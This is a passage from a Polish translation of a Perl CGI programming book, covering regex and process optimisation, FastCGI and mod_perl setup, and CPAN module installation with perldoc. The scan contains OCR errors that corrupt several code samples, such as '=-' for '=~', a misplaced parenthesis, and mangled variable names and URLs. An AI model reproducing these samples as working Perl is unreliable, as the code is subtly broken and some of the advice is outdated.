trzeba znaleźć wszystkie wystąpienia pewnego hasła w bardzo dużym pliku tekstowym, szybsze może być polecenie grep niż zrealizowanie tego samego zadania w Perlu: system( "/bin/grep", $wyrazenie, $plik ); Zauważmy jednak, że rzadko występują okoliczności, w których takie postępowanie bywa potrzebne. Po pierwsze, Perl, aby sięgnąć do wywołania systemowego, musi wykonać dodatkową pracę, a wobec tego wydajność zyskiwana dzięki poleceniu zewnętrznemu rzadko jest opłacalna. Po drugie, możemy zyskać na szybkości, gdy nie interesują nas wszystkie dopasowania, lecz tylko pierwsze, ponieważ Perl może opuścić pętlę natychmiast po znalezieniu dopasowania: my $dopasowanie; open PLIK, $plik or die "Nie można otworzyć pliku $plik: $!"; while (<PLIK>) { chomp; if ( /$wyrazenie/ ) { $dopasowanie = $_; last; } } grep zawsze odczytuje plik w całości. Po trzecie, jeśli stwierdzimy, że chcąc obsłużyć pewne pliki tekstowe, musimy jednak sięgnąć po grep, będzie to oznaczać, że problem nie tyle leży w Perlu, ile w strukturze danych. Powinniśmy raczej rozważyć inny format danych, na przykład plik DBM lub system relacyjnych baz danych. Ponadto, chcąc uzyskać listę plików w określonym katalogu, należy unikać zapisu <*>. Perl, aby go rozwinąć, musi wywołać podpowłokę. Oprócz tego, że wpływa to ujemnie na efektywność, może prowadzić do błędów: niektóre powłoki mają wewnętrzne ograniczenie względem takich rozwinięć i zwracają tylko tyle plików, na ile pozwala limit. Zauważmy jednak, że gdy pojawi się Perl 5.6, problem ten zostanie rozwiązany dzięki wewnętrznej obsłudze rozwinięć. Tymczasem trzeba się posługiwać funkcjami opendir, readdir i closedir. Oto przykład: @pliki = </usr/local/apache/htdocs/*.html>; ## Użycie powłoki ... $katalog = "/usr/local/apache/htdocs"; ## Lepsze rozwiązanie if (opendir (HTDOCS, $katalog)) { while ($plik = readdir (HTDOCS)) { push (@pliki, "$katalog/$plik") if ($plik =- /\.html$/); } } Wyszukiwanie gotowych rozwiązań własnych problemów Niewykluczone, że jeśli natrafimy na jakiś problem, ktoś inny już wcześniej się na niego natknął i spędził wiele czasu nad opracowaniem odpowiedniego rozwiązania. Co więcej, wielce prawdopodobne, że zechce go
Programowanie CGI w Perlu
194
użyczyć, dzięki duchowi solidarności obecnemu wśród ludzi skupionych wokół Perla. W całej książce odwoływaliśmy się do wielu modułów dostępnych w sieci CPAN. Jest ich niezliczenie więcej. Warto więc regularnie poświęcać trochę czasu na przeglądanie zawartości CPAN. Wskazane jest również zaglądanie do grup dyskusyjnych języka Perl. Grupa news:comp.lang.perl.modules to miejsce, w którym można uzyskać pomoc w 24 kwestiach dotyczących istniejących modułów lub też ogłosić nowe. Tematyka grup news:comp.lang.perl i news:comp.lang.perl.misc jest ogólniejsza. Nie można zapominać, że ukazało się wiele książek przedstawiających algorytmy bądź użyteczne wskazówki i gotowe rozwiązania. Takimi skarbnicami wiedzy poświęconymi językowi Perl są Perl - receptury Toma Christiansena i Nathana Torkingtona oraz Mastering Algortihms with Perl Jona Orwanta, Jarkko Hietaniemi i Johna Macdonalda. Oczywiście, nie wolno pomijać książek, które nie dotyczą Perla bezpośrednio. Programming Pearl Johna Bentleya, The C Programming Language Briana Kernighana i Dennisa Ritchie'ego oraz Code Complete Steve'a McConnella to również znakomite pozycje. Wyrażenia regularne Wyrażenia regularne są integralną częścią Perla i znajdują zastosowanie w wielu aplikacjach CGI. Wydajność wyrażeń regularnych można poprawić na wiele różnych sposobów. Po pierwsze, należy unikać zmiennych $ &, $ " oraz $ ". Gdy Perl napotyka którąkolwiek z tych zmiennych w aplikacji lub w zaimportowanym module, tworzy kopię łańcucha wyszukiwawczego na ewentualność przyszłych do niego odwołań. Jest to wysoce nieefektywne i może poważnie upośledzić aplikację. Do wyszukiwania tych zmiennych służy moduł Devel::SawAmpersand, który dostępny jest w sieci CPAN. Po drugie, wysoce nieefektywne są wyrażenia regularne poniższego typu: while (<PLIK>) { next if (/"(?:selectlupdate|drop|insertlalter)\b/); ... } Lepiej jest użyć następującego zapisu: while (<PLIK>) { next if (/"select/); next if (/"update/); ... } Ewentualnie, gdybyśmy dopiero w trakcie działania programu ustalali, czego mamy szukać, moglibyśmy konstruować wzorzec przeznaczony do kompilacji w czasie bieżącym zamiast w czasie zwykłej kompilacji: @slowa_kluczowe = qw (select update drop insert) ; $kod = "while (<PLIK>) {\n"; foreach $slowo_kluczowe (@slowa_kluczowe) { $kod .= "next if (/^$slowo_kluczowe/) ; \n" } $kod .= "}\n"; eval $kod; W ten sposób powstanie urywek kodu identyczny z tym, który został przedstawiony powyżej, i zostanie przetworzony „w biegu". Oczywiście, użycie eval pociąga za sobą pewne koszty, jednak trzeba je porównać z oszczędnościami, jakie się zyskuje. Po trzecie, warto wziąć pod uwagę modyfikator o w wyrażeniach z jednokrotną kompilacją wzorca. Przeanalizujmy taki oto przykład: @dopasowania = (); ... while (<PLIK>) { push gdopasowania, $_ if /$zapytanie/i; } ... Kod taki jak ten jest zazwyczaj stosowany przy wyszukiwaniu łańcucha w pliku. Niestety kod ten działa bardzo wolno, ponieważ Perl musi kompilować wzorzec od nowa w każdym cyklu pętli. Aby Perl skompilował wyrażenie tylko raz, można jednak użyć wspomnianego modyfikatora o: push @dopasowania, $_ if /$zapytanie/io; Jeśli jednak przewidujemy, że wartość $ zapytanie się zmieni, użycie modyfikatora o będzie niewłaściwe, ponieważ Perl użyje wtedy wartości skompilowanej za pierwszym razem. Do tej kwestii odnoszą się właściwości wyrażeń regularnych wprowadzone w Perlu 5.005; więcej informaqi znaleźć można na stronie podręcznikowej perlre. Po czwarte, ostatnie, wyrażenie regularne przeznaczone do realizacji określonego zadania często można skonstruować na wiele sposobów, przy czym niektóre z nich są bardziej, a inne mniej efektywne. Chcąc się dowiedzieć, jak pisać efektywniejsze wyrażenia regularne, warto sięgnąć po książkę Jeffreya Friedla Mastering Regular Expressions.
24
Grupą polskojęzyczną jest news:pl.comp.lang.perl (przyp. tlum.).
Programowanie CGI w Perlu
195
Podane wskazówki co do optymalizacji są natury ogólnej. W zależności od aplikacji jedne przydadzą się bardziej, inne mniej. Oto nadszedł czas, by zająć się bardziej skomplikowanymi sposobami optymalizacji aplikacji CGI.
FastCGI FastCGI jest rozszerzeniem serwera Web umożliwiającym przekształcanie programów CGI w trwałe, niby-serwerowe aplikacje o przedłużonym działaniu. Serwer Web rozmnaża proces FastCGI przy uruchomieniu każdej wskazanej aplikacji CGI; procesy te odpowiadają na żądania, dopóki nie zostaną jawnie zakończone. Gdy spodziewamy się, że pewne aplikacje będą częściej używane od pozostałych, wtedy możemy zlecić FastCGI rozmnożenie się na kilka procesów, które będą obsługiwać współbieżne żądania. To podejście ma kilka zalet. Przy każdym żądaniu uruchomienie typowej aplikacji CGI w Perlu pociąga za sobą wydatek pracy wiążący się z rozmnażaniem procesu oraz interpretacją kodu. A jeśli proces inicjujący kod jest dość długi, to wydatek ten jeszcze bardziej się zwiększa. Żaden z tych problemów nie dotyczy typowej aplikacji FastCGI. Nie ma dodatkowego rozmnażania się procesów przy każdym żądaniu, a wszystkie inicjacje wykonywane są przy uruchomieniu. Ponieważ są to aplikacje o przedłużonym działaniu, umożliwiają przechowywanie danych pomiędzy żądaniami, co również jest zaletą. Przykład 17.1 pokazuje, jak wygląda typowy skrypt FastCGI. Przykład 17.1. fast_count.cgi #!/usr/bin/perl -wT use strict; use vars qw( Slicznik ); use FCGI; local $licznik = 0; while ( FCGI::accept >= 0 ) { $licznik++; print "Content-type: text/plain\n\n"; print "Numer zgłoszonego żądania: Slicznik. Miłego dnia!\n"; } Skrypt ten poza kilkoma dodatkowymi szczegółami niewiele się różni od zwykłego programu CGI. Ponieważ inicjowany jest tylko raz, wartość globalnej zmiennej $licznik będzie wynosić zero na samym początku, i będzie podtrzymywana przy wszystkich kolejnych żądaniach. Gdy serwer Web otrzyma żądanie skierowane do tej aplikacji FastCGI, wtedy przekaże do niej wartość tej zmiennej, a FCGI::accept przyjmie żądanie i zwróci odpowiedź, co spowoduje wykonanie zawartości bloku pętli while. Zauważymy, że wartość zmiennej $ liczni k będzie się zwiększać przy każdym kolejnym żądaniu. Jeśli w skrypcie CGI używany jest moduł CGI.pm, w zamian można skorzystać z interfejsu FastCGI tego właśnie modułu, czyli CGI::Fast, który włączany jest do standardowego pakietu dystrybucyjnego CGI.pm. Przykład 17.2 pokazuje, jak wygląda przykład 17.1 po dostosowaniu go do CGI::Fast. Przykład 17.2. fast_count2.cgi #!/usr/bin/perl -wT use strict; use vars qw( $licznik ); use CGI::Fast; local $licznik = 0; while ( my $q = new CGI::Fast ) ( $licznik++; print $q->header( "text/plain" ), "Numer zgłoszonego żądania: $licznik. Miłego dnia!\n"; } Działa tak samo jak poprzedni. Cały kod przed utworzeniem obiektu CGI::Fast wykonywany jest tylko raz. Następnie skrypt przechodzi w stan oczekiwania na pojawienie się żądania, w wyniku którego powstanie nowy obiekt CGI::Fast i uruchomi się kod pętli while. Skoro już wiemy, jak FastCGI działa, zobaczmy, jak go zainstalować. FastCGI współdziała z szeroką gamą serwerów Web, jednak my przeanalizujemy tylko konfigurację dla serwera Apache. Instalowanie FastCGI Wczesne wersje FastCGI, aby czary działały, wymagały Perla w zmodyfikowanej wersji. Na szczęście tak już nie jest. Mimo wszystko FastCGI wymaga wprowadzenia zmian do serwera Web. Pakiet dystrybucyjny FastCGI obejmuje moduły przeznaczone dla serwera Web oraz moduł dla Perla, FCGI (dostępny również w sieci CPAN). Można go uzyskać pod adresem http://www.fastcgi.com/, gdzie mieści się macierzysty serwis przedsięwzięcia, którego przedmiotem jest FastCGI, z otwartym kodem źródłowym. Zauważmy, że jest to serwis odrębny względem http://www.fiistcgi.org/, który oferuje komercyjne realizacje oparte na FastCGI. W tym wypadku działalność serwisów .org i .com jest odwrotna do zwyczajowej. Poniżej przedstawiamy instrukcję instalacji FastCGI na serwerze Apache. W razie korzystania z Apache w wersji nowszej niż l .3 można uruchomić program configure tego serwera Web, w następujący sposób: configure —add-module=/usr/local/src/apache-fastcgi/src/mod_fastcgi.c Następnie trzeba określić, gdzie zostaną umieszczone aplikacje FastCGI. Informujemy o tym przez dodanie poniższych dyrektyw do pliku httpd.conf(Location wstawia się do access.conf, a Alias do srm.conf, jeśli te pliki są używane):
Programowanie CGI w Perlu
196
<Location /fcgi> SetHandler fastcgi-script </Location> Alias /fcgi/ /usr/local/apache/fcgi/ Dla każdej przewidzianej do uruchomienia aplikacji FastCGI należy utworzyć wpis analogiczny do następującego: AppClass /usr/local/apache/fcgi/fast_count.cgi Później, kiedy uruchomimy serwer Apache, w tabeli procesów systemu powinien się pojawić proces fastjcount. Aby do niego sięgnąć, wystarczy skierować przeglądarkę pod adres: http:/flocalhost/fcgi/fast_count.cgi Gdy przekształcimy jedną z dotychczasowych aplikacji w opartą na FastCGI, to ujrzymy znaczną poprawę szybkości. Jednak zanim to zrobimy, należy zwrócić uwagę na kilka spraw. W programach CGI należy zlikwidować wszelkie potencjalne wycieki pamięci (ang. memory leaks), gdyż przyczyniają się one do drastycznego zubożenia zasobów systemowych. Tak więc skrypty powinno się rozpoczynać w następujący sposób: #!/usr/bin/perl -wT use strict; aby generować odpowiednie ostrzeżenia; powinno się także ograniczać zasięg zmiennych. Ponadto należy przemyśleć ewentualne skupienie funkcjonalności rozproszonej w rozmaitych aplikacjach CGI. Ponieważ aplikacje CGI pociągają za sobą wydatek pracy przy każdym żądaniu, częstą praktyką jest rozdzielanie funkcjonalności na kilka małych aplikacji, aby ten wydatek zmniejszyć. Gdy chodzi o FastCGI, nie mamy już z tym do czynienia. FastCGI oferuje dodatkową funkcjonalność, w tym możliwość uruchamiania programów FastCGI przez lokalne serwery Web na zdalnych maszynach. Omówienie tego zagadnienia wykracza poza ramy niniejszego rozdziału, niemniej dalsze informacje można znaleźć w dokumentacji FastCGI. Rozwiązanie techniczne, któremu za chwilę się przyjrzymy, pozwala na bardzo dużą, porównywalną z FastCGI, poprawę szybkości względem konwencjonalnych aplikacji CGI, lecz działa na zupełnie innej zasadzie.
mod_perl mod_perl jest rozszerzeniem serwera Apache, które osadza Perl w tym serwerze, dołączając interfejs Perla do API serwera. Dzięki temu możemy w Perlu tworzyć w pełni rozwinięte moduły Apache do obsługi poszczególnych faz przetwarzania żądania zgłoszonego przez klienta. Autorem mod_perl jest Doug MacEachern. Kiedy tylko mod_perl się pojawił, szybko zdobył dużą popularność. Najpopularniejszym modułem typu Apache-Perl jest Apache::Registry, który emu-luje środowisko CGI, umożliwiając nam pisanie aplikacji działających pod kontrolą mod_perl. Ponieważ Perl jest osadzony w serwerze, unikamy wydatku pracy na uruchomienie zewnętrznego interpretera. Oprócz tego możemy wczytywać i kompilować wszystkie zewnętrzne moduły Perla, których chcielibyśmy użyć przy uruchomieniu serwera, a nie podczas wykonywania aplikacji, co zapewniłoby nam dalsze przyśpieszenie. Użytkownicy sygnalizowali wzrost wydajności sięgający 2000 procent w aplikacjach CGI opartych łącznie na rozszerzeniu mod_perl i module Apache::Registry. Apache::Registry zawiera program obsługi odpowiedzi, co oznacza, że jego zadaniem jest generowanie odpowiedzi wysyłanych zwrotnie do klienta. Ustanawia warstwę powyżej aplikacji CGI; wykonuje aplikacje, a wynik ich działania wysyła do klienta. Jeśli nie chcemy użyć modułu Apache::Registry, możemy stworzyć własny program obsługi odpowiedzi, który zajmie się żądaniami. Jednak tego typu programy różnią się znacznie od standardowych skryptów CGI, więc nie będziemy ich tu opisywać. Wiedza na ich temat oraz na temat wszelkich innych zagadnień dotyczących mod_perl zawarta jest w książce Writing Apache Modules with Perl and C Lincolna Steina i Douga MacEacherna (O'Reilly & Associates, Inc.). Instalacja i konfiguracja Na początek zainstalujmy rozszerzenie mod_perl. Można je uzyskać w sieci CPAN pod adresem http://www.cpan.org/modules/by-module/Apache/. Moduły podlegające mod_perl wykorzystują przestrzeń nazw Apache. Instalacja jest stosunkowo prosta i powinna przebiegać następująco: $ cd mod_perl-1.22 $ perl Makefile.PL \ > APACHE_PREFIX=/usr/local/apache \ > APACHE_SRC= ../apache-1.3.12/src \ > DO_HTTPD=1 \ > USE_APACI=1 \ > EVERYTHING=1 $ make $ make test $ su # make install Chcąc przeprowadzić niestandardową instalację, należy kierować się wskazówkami instalacyjnymi dostarczanymi z Apache lub mod_perl. Jeśli nie jesteśmy zainteresowani ewentualnym opracowywaniem i stosowaniem różnych programów obsługi Apache-Perl, to zbędna jest dyrektywa EVERYTHING=1; wtedy można zastosować jedynie PerlHandler. Po instalacji musimy skonfigurować serwer Apache. Oto prosty zestaw ustawień:
Programowanie CGI w Perlu
197
PerlRequire /usr/local/apache/conf/startup.pl PerlTaintCheck On PerlWarn On Alias /perl/ /usr/local/apache/perl <Location /perl> SetHandler perl-script PerlSendHeader On PerlHandler Apache::Registry Options ExecCGI </Location> Jak widać, konfiguracja jest bardzo podobna do przeprowadzonej dla FastCGI. Do ustanowienia skryptu uruchomieniowego używamy dyrektywy PerlRequire. Na ogół za pomocą takiego skryptu wstępnie są wczytywane wszystkie moduły, które później mają być używane w innych skryptach (zob. przykład 17.3). Jeśli jednak chcielibyśmy wczytywać tylko niewielkie zestawy (do dziesięciu) modułów, w zamian możemy użyć dyrektywy PerlModule: PerlModule CGI DB_File MLDBM Storable Aby Apache::Registry stosował się do trybu kontroli skażeń i ostrzeżeń, musimy dodać dyrektywy PerlTaintMode i PerWarn. W przeciwnym razie nie zostaną włączone. Czynność ta ma zasięg globalny. Następnie konfigurujemy katalog, w którym mają być uruchamiane skrypty. Wszystkie żądania zasobów w katalogu /perl przechodzą przez skrypt obsługi (mod_perl) perl-script, który przekazuje żądanie ostatecznie do modułu Apache::Re-gistry. Musimy również włączyć opcję ExecCGI. W przeciwnym razie Apache::Re-gistry nie będzie wykonywać aplikacji CGI. W przykładzie 17.3 przedstawiamy próbkę pliku konfiguracyjnego. Przykład 17.3. startup.pl #!/usr/bin/perl -wT use Apache::Registry; use CGI; # wszelkie inne moduły potrzebne innym aplikacjom działającym w ramach mod_perl... print "Zakończono wczytywanie modułów. Apache jest gotowy do pracy!\n"; 1; To naprawdę bardzo prosty program, który nie robi nic poza wczytywaniem modułów. Również jest wskazane, by Apache::Registry był wstępnie wczytywany, ponieważ będzie obsługiwać wszystkie żądania. Należy przy tym zapamiętać, że każdy proces potomny serwera Apache będzie mieć dostęp do tych modułów. Gdy modułu nie wczytamy na samym początku, a użyjemy go w aplikacjach, wtedy moduł ten będzie musiał być wczytywany raz na każdy proces potomny. Tak samo dzieje się w wypadku aplikacji CGI działających pod kontrolą Apache::Registry. W każdym procesie potomnym aplikacja jest jednorazowo kompilowana i buforowana, więc pierwsze żądanie proces obsługuje stosunkowo wolno, lecz wszystkie następne są przetwarzane znacznie szybciej. Zagadnienia dotyczące rozszerzenia mod_perl Generalnie Apache::Registry zapewnia dobrą emulację standardowego środowiska CGI. Niemniej jest kilka różnic, o których trzeba pamiętać: • Środki ostrożności, które odnoszą się do FastCGI, odnoszą się również do rozszerzenia mod_perl, a ściślej: należy używać trybu strict, pomocne jest także włączenie ostrzeżeń. Zawsze powinno się inicjować zmienne i nie zakładać, że zaraz po uruchomieniu skryptu będą puste; o użyciu niezdefiniowanych zmiennych powiadomi komunikat ostrzegawczy. Gdy skrypt kończy działanie, środowisko nie jest czyszczone, więc zmienne, które nie znalazły się poza zasięgiem widoczności, oraz zmienne globalne pozostają zdefiniowane do następnego wywołania skryptu. Ze względu na fakt, że kod jest kompilowany raz, a potem umieszczany w buforze, w części zasadniczej skryptów zmienne leksykalne, do których sięga się w procedurach, tworzą zamknięcia (ang. closures). W standardowym skrypcie CGI może się pojawić zapis analogiczny do następującego: my $q = new CGI; sprawdz_dane_wejściowe(); ... sub sprawdz_dane_wejsciowe { unless ( $q->param( "email" ) ) { error( $q, "Nie podano adresu poczty elektronicznej" ); } ... Zauważmy, że do procedury sprawdz_dane_wejsciowe nie przekazujemy obiektu CGI. Mimo to zmienna jest widoczna wewnątrz procedury. Taka funkcjonalność sprawdza się w wypadku klasycznego CGI, ale przy mod_perl prowadzi do powstania trudno dostrzegalnego, wprowadzającego zamieszanie błędu. Problem bierze się stąd, że przy pierwszym uruchomieniu skryptu w ramach określonego procesu potomnego serwera Apache wartość obiektu CGI zostaje utrwalona w buforowanej kopii procedury sprawdz_dane_wejscwwe. Wszystkie późniejsze odwołania do tego samego procesu potomnego Apache będą powtórnie korzystać z pierwotnej wartości obiektu CGI utrwalonej w procedurze sprcojudz_dane_wejsciowe. Środkiem zaradczym jest przekazywanie do tej procedury zmiennej $q jako parametru lub zmiana charakteru $q ze zmiennej leksykalnej na zmienną globalną zadeklarowaną instrukcją locul.
Programowanie CGI w Perlu
198
W razie niewielkiej znajomości kwestii zamknięć (rzadko są stosowane w Perlu) warto sięgnąć do strony podręcznikowej perlsub lub książki Perl - programowanie. Stałe tworzone przez moduł constant są definiowane wewnętrznie jako procedury. Ponieważ Apache::Registry tworzy trwałe środowisko, takie użycie stałych może doprowadzić przy rekompilacji skryptów opartych na module constant do pojawienia się w dzienniku błędów następujących ostrzeżeń o ponownym zdefiniowaniu procedury: Constant subroutine NAZWAPLIKU redefined at ... Nie będzie mieć to wpływu na wyniki generowane przez skrypt, więc ostrzeżenia te można zwyczajnie zignorować. Alternatywnym podejściem jest przekształcenie tych stałych w zmienne globalne; kwestia zamknięć nie stanowi problemu w wypadku zmiennych, których wartości nigdy nie ulegają zmianie. Powyższe ostrzeżenie nie powinno się już pojawiać, mimo niezmodyfikowania kodu, w Perlu 5.004_05 i nowszych. • Wyrażenia regularne skompilowane z przełącznikiem o pozostają skompilowane przez wszystkie kolejne żądania skryptu, w którym te wyrażenia się znajdują, a nie tylko przez czas obsługi jednego żądania. • Funkcje określające wiek pliku (czas od jego ostatniej modyfikacji), na przykład -M, obliczają go względem momentu uruchomienia aplikacji, lecz w wypadku mod_perl zwykle jest to moment, w którym serwer rozpoczął działanie. Wartość tę można uzyskać za pomocą $^T. Tak więc dodając wyrażenie (t ime - $ "T) do czasu trwania pliku, otrzymamy czas faktyczny. • Bloki BEGIN wykonywane są jednokrotnie przy kompilacji skryptu, a nie przy każdym rozpoczęciu obsługi żądania. Natomiast bloki END są wykonywane na końcu obsługi każdego żądania, więc można ich używać tak, jak w zwykłym skrypcie CGI. • Leksemów _END_ i _DATA_ nie można stosować w skryptach CGI wraz z modułem Apache::Registry. Skrypty działałyby wówczas wadliwie. • Zazwyczaj skrypty dzialeiące w ramach mod_perl nie powinny wywoływać instrukcji exit, gdyż powoduje ona wyjście z serwera Apache (interpreter Perla jest bowiem osadzony w serwerze Web). Niemniej jednak Apache::Registry standardowe polecenie exit podmienia własnym, które jest dla skryptów bezpieczne. Jeśli zbyt kłopotliwe jest przekształcanie aplikacji tak, aby działały efektywnie pod kontrolą Apache::Registry, to powinno się przebadać możliwości modułu Apache::Perl-Run. Moduł ten wykorzystuje interpreter Perla osadzony w serwerze Apache, lecz nie buforuje kodu w postaci skompilowanej. W rezultacie można uruchamiać nie poddane przeróbkom skrypty CGI, lecz poprawa wydajności jest niższa niż uzyskiwana przy Apache::Registry. Mimo wszystko taka aplikacja będzie szybsza niż typowa aplikacja CGI. Zwiększenie szybkości skryptów CGI to nie wszystkie możliwości, jakie daje serwe-rowe rozszerzenie mod_perl. Umożliwia ono również pisanie w Perlu kodu współdziałającego z fazą odpowiedzi serwera Apache, tak więc możliwa jest między innymi samodzielna obsługa uwierzytelniania i autoryzacji. Kompletne omówienie mod_perl z pewnością wykracza poza ramy tej książki. Chcąc zatem dowiedzieć się więcej o tym rozszerzeniu, na początek należy sięgnąć przede wszystkim po podręcznik Stasa Bekmana pt. mod_perl, dostępny pod adresem http://perl/apache/org/guide. Następnie warto zajrzeć do książki Writing Apache Modules wtih Perl and C, która dostarcza solidnej, aczkolwiek technicznej wiedzy na temat mod_perl.
Dodatek B Moduły Perla W niniejszej książce omawiamy wiele modułów Perla niekiedy nie włączanych do systemu. W tym dodatku podajemy instrukcje instalacji modułów dostępnych w sieci CPAN. Pokazujemy również, jak sięgać do dokumentacji za pomocą polecenia perldoc.
CPAN CPAN, czyli Comprehensive Perl Archive Network (obszerna sieć archiwów Perla), znajduje się pod adresem http://vnvw.cpan.org/ i jest licznie powielana na całym świecie (zob. http://www.cpan.org/SITES.html). Z sieci CPAN można pobrać kody źródłowe i binarne pakiety dystrybucyjne Perla, a także wszystkie moduły wymienione w tej książce oraz wiele innych skryptów i modułów. Bardzo długa lista modułów znajduje się pod adresem http:llwww.cpan.org/moduIes/00modlist.long.html. Jeśli znamy nazwę modułu, którą chcielibyśmy pobrać, to na ogół można go odnaleźć na podstawie pierwszego wyrazu w nazwie modułu. Na przykład Digest::MD5 można pobrać pod adresem http://www.cpan.org/modules/bymodule/Digest/. Plik w podanym katalogu nosi nazwę Digest-MD5-2.09.tar.gz (numer wersji, czyli w tym wypadku 2.09, prawdopodobnie zdąży się zmienić do czasu ukazania się tej książki). Instalowanie modułów Choć wszystkie moduły Perla udostępniane w sieci CPAN podlegają zasadniczo jednakowej procedurze instalacji, instalacja niektórych modułów jest łatwiejsza niż innych. Niektóre zależne są od innych modułów lub obejmują kod źródłowy w języku C, który musi być kompilowany, a często także konsolidowany z innymi bibliotekami w danym systemie. Przy kompilowaniu modułów zawierających kod w języku C mogą wystąpić trudności. Większość komercyjnych pakietów dystrybucyjnych Uniksa nie obejmuje kompilatora ANSI C. Na ogół można natomiast uzyskać prekompilowane binaria gcc. Należy ich szukać w serwisach archiwalnych związanych z określonymi platformami (na przykład http://www.sun.com/sunsite/ w wypadku systemu Solaris i http://hpux.cae.wisc.edu/ w wypadku HP/UX). Systemy Llnux i BSD powinny od razu zawierać potrzebne narzędzia.
Programowanie CGI w Perlu
199
W wypadku korzystania z Perla w wersji dla Win32 firmy ActiveState, za pomocą programu Perl Package Manager z serwisu ActiveState można pobrać prekompilo-wane moduły w postaci binarnej. Więcej informacji dostępnych jest pod adresem http://wivw.activestate.com/PPM. Najprostszy sposób instalacji modułów w Uniksie i systemach z nim zgodnych polega na użyciu modułu CPAN.pm. Można go wywołać, zazwyczaj jako superużytkownik, w następujący sposób: # perl -MCPAN -e shell W rezultacie powstanie powłoka interakcyjna, z poziomu której można uzyskiwać informacje o modułach w sieci CPAN oraz instalować lub aktualizować moduły we własnym systemie. Przy pierwszym uruchomieniu modułu CPAN pojawi się monit o podanie narzędzi, które mogą posłużyć do pobierania modułów z Internetu, oraz o podanie serwisu CPAN, który ma zostać użyty. Po skonfigurowaniu CPAN można przejść do instalacji modułu, wpisując polecenie install, a po nim nazwę modułu: cpan> install Digest::MD5 CPAN pobierze wskazany moduł i zainstaluje go. CPAN rozpoznaje zależności wiążące dany moduł z innymi i automatycznie instaluje te, które są potrzebne. Oprócz install jest jeszcze kilka innych poleceń; pełną ich listę można uzyskać wpisując po monicie znak zapytania. Zdarza się, że CPAN nie jest w stanie zainstalować modułu. Wówczas trzeba go zainstalować samodzielnie. W Uniksie i systemach z nim zgodnych po pobraniu modułu powinniśmy wydać następujący ciąg poleceń: $ gzip -dc Digest-MD5-2.09.tar.gz | tar xvf $ cd Digest-MD5-2.09 $ perl Makefile.PL $ make $ make test $ su # make install Jeśli polecenia make i make test zakończą się niepowodzeniem, trzeba będzie ustalić, gdzie leży problem, i go skorygować. Pomocna powinna być towarzysząca modułowi dokumentaqa. Jeśli pobrany moduł zawiera kod w języku C, z którym muszą być konsolidowane inne biblioteki, należy się upewnić, czy wersje tych bibliotek zgadzają się z przewidzianymi w module Perla. Ewentualnie można przejrzeć artykuły przysłane do grup dyskusyjnych i sprawdzić, czy ktoś spotkał się już wcześniej z tym samym problemem i go rozwiązał. Do tego celu można wykorzystać serwis pod adresem http://www.deja.com/usenet/; trzeba przejść do zaawansowanego wyszukiwania w grupach dyskusyjnych i poszukać w artykułach grupy comp.lang.perl.modules (lub polskojęzycznej pl.comp.lang.perl) odpowiednich wyrazów hasłowych. Jeśli sprawdziliśmy wszelkie uwarunkowania pod względem wersji i nie możemy znaleźć odpowiedzi w dokumentacji, nie zawierają jej też artykuły dotychczas przysłane do grup dyskusyjnych, a sami problemu wciąż nie możemy rozwiązać, to powinniśmy wysłać wiadomość do grupy news:comp.lang.perl.modules (lub news:pl. comp.lang.perl), szczegółowo objaśniając problem i uprzejmie zwracając się o pomoc. Niewskazane jest używanie do tego celu serwisu deja.com, bowiem niektóre spośród najsprawniejszych i najpożyteczniejszych koderów Perla odfiltrowują wiadomości przysyłane z deja.com (z tego samego powodu lepiej jest również unikać wysyłania wiadomości za pomocą aplikacji pocztowych firmy Microsoft).
perldoc Początkującym programistom w Perlu często się zdarza przeoczyć bardzo cenne źródło informacji, jakim jest perldoc. Jest to przeglądarka dokumentacji języka Perl. Umożliwia odczytywanie dokumentacji w formacie pod (skr. ang. plain old documen-tation, czyli zwyczajna dawna dokumentacja) Perla. Dostarcza bogatych informacji o samym Perlu oraz o modułach. Praktycznie każdemu modułowi włączonemu do Perla i dostępnemu w sieci CPAN towarzyszy dokument typu pod. Jeśli w danym systemie działa perl, lecz polecenie perldoc nie, to być może trzeba go w systemie poszukać. Domyślnie instalowane jest wraz z Perlem, lecz plik polecenia w konkretnym wypadku może być zainstalowany poza standardowym katalogiem plików wykonywalnych. Ewentualnie można poprzestać na korzystaniu z polecenia mań. Przy instalacji strony pod zazwyczaj są przekształcane w strony podręcznikowe. Na początek należy wypróbować następujące polecenie: $ perldoc perl Przedstawiony zostanie podstawowy opis Perla wraz z listą dostępnych sekcji elektronicznego podręcznika Perla. Na przykład po wpisaniu: $ perldoc perlsec wyświetlona zostanie sekcja poświęcona bezpieczeństwu w Perlu. perldoc ma liczne opcje - opis składni polecenia perldoc można uzyskać w sposób następujący: $ perldoc perldoc perldoc jest bardzo użytecznym modułem. Obszerną dokumentację CGI.pm można obejrzeć w wyniku następującego polecenia: $ perldoc CGI Poniższy zapis przeznaczony jest dla modułów o nazwach kilkuwyrazowych: $ perldoc Digest::MD5
Programowanie CGI w Perlu
200
Zauważmy, że wskazany moduł musi być obecny w systemie lokalnym; perldoc nie sięga zdalnie do dokumentacji w sieci CPAN. Oprócz złożonych nazw z poleceniem perldoc można też podawać nazwy plików; dzięki temu możemy zapoznać się z dokumentacją modułu jeszcze przed jego zainstalowaniem: $ perldoc ,/MDS.pm Dokumenty pod zwykle są przechowywane wewnątrz plików .pm, chociaż zdarzają się osobne pliki .pod. Na koniec, jeśli ktoś woli interfejs graficzny, może skorzystać z modułu Tk::Pod.